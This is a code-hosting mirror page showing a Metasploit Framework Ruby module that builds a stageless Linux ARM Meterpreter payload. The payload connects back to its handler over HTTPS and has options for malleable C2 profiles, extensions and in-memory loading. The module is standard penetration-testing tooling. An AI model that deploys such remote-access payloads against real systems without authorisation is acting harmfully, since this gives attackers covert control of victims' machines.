/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
57 строк
2 KB
jenkins-metasploit
automatic module_metadata_base.json update
30 июл 2026, 13:26
30 июл 2026, 13:26
919ffe0
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule CachedSize = 1122168 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig include Msf::Payload::Linux::Armle::ElfLoader include Msf::Payload::Linux::Armle::Prepends def initialize(info = {}) super( update_info( info, 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ 'Adam Cammack <adam_cammack[at]rapid7.com>', 'Brent Cook <brent_cook[at]rapid7.com>', 'timwr' ], 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'License' => MSF_LICENSE, 'Handler' => Msf::Handler::ReverseHttps, 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end def generate(_opts = {}) opts = { scheme: 'https', c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','), mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec ds = opts[:datastore] || datastore if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') return payload end in_memory_load(payload) + payload end end